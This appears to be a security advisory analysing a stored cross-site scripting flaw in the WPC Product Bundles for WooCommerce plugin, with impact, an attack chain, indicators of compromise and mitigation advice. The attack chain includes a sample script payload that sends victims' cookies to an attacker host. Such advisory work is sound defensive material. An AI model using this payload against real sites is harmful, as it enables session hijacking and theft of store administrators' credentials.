CVE-2026-93836: 
WordPress vulnerability analysis and mitigation

CVE-2026-93836 is a stored cross-site scripting (XSS) vulnerability in the WPC Product Bundles for WooCommerce WordPress plugin by WPClever. It affects all versions up to and including 8.6.6, allowing unauthenticated attackers to inject malicious scripts via the qty parameter, which are then stored in order item metadata (_woosb_ids) and executed when users view the affected page. The CVE is currently in a Reserved status, and the CVSS category is estimated as Medium (CWE-79) (Feedly).

The root cause is insufficient input sanitization and output escaping of the qty parameter in the WPC Product Bundles for WooCommerce plugin (CWE-79: Improper Neutralization of Input During Web Page Generation). An unauthenticated attacker can submit a crafted request containing a malicious script payload in the qty field during a product bundle interaction; this payload is persisted in WooCommerce order item metadata under the _woosb_ids key. The stored payload subsequently executes in the browser of any user (including administrators) who views the affected order or page, making this a persistent (stored) XSS attack (Feedly).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the compromised order or page, including store administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or modifying store settings), and potential full site compromise. The stored nature of the payload means a single injection can affect multiple victims over time (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported at this time. The CVE remains in Reserved status, and no EPSS score or CISA KEV catalog listing is currently available. However, the unauthenticated attack vector significantly lowers the barrier to exploitation, as no credentials or special privileges are required to inject the malicious payload (Feedly).

1. Reconnaissance: Identify WordPress sites running WPC Product Bundles for WooCommerce (versions ≤ 8.6.6) by inspecting page source, plugin directories, or using tools like WPScan.
2. Craft malicious payload: Prepare a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the qty parameter.
3. Submit crafted request: As an unauthenticated user, interact with a product bundle on the target WooCommerce store and submit a request with the malicious script embedded in the qty parameter (e.g., via a crafted form submission or direct HTTP POST request).
4. Payload stored: The injected script is stored in WooCommerce order item metadata under the _woosb_ids key without proper sanitization.
5. Trigger execution: Wait for a privileged user (e.g., store administrator) to view the affected order in the WooCommerce admin panel or for any user to view the affected page, triggering execution of the stored script in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or escalate to full site compromise (Feedly).

• Logs: Web server access logs showing unusual or encoded values in the qty parameter during WooCommerce product bundle requests (e.g., values containing <script>, javascript:, or HTML-encoded equivalents).
• Database: WooCommerce order item metadata (wp_woocommerce_order_itemmeta) entries under the _woosb_ids key containing script tags or JavaScript event handlers.
• Network: Outbound requests from victim browsers to unknown external domains shortly after viewing WooCommerce order pages, potentially indicating cookie or credential exfiltration.
• Logs: WordPress or WooCommerce error logs showing unexpected input values or sanitization warnings related to bundle quantity fields.

Users should update the WPC Product Bundles for WooCommerce plugin to a version beyond 8.6.6 as soon as a patched release is made available by WPClever. In the interim, consider disabling the plugin if it is not critical to store operations, or implement a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript in the qty parameter. Monitor the official WordPress plugin repository and WPClever's communications for patch announcements (Feedly).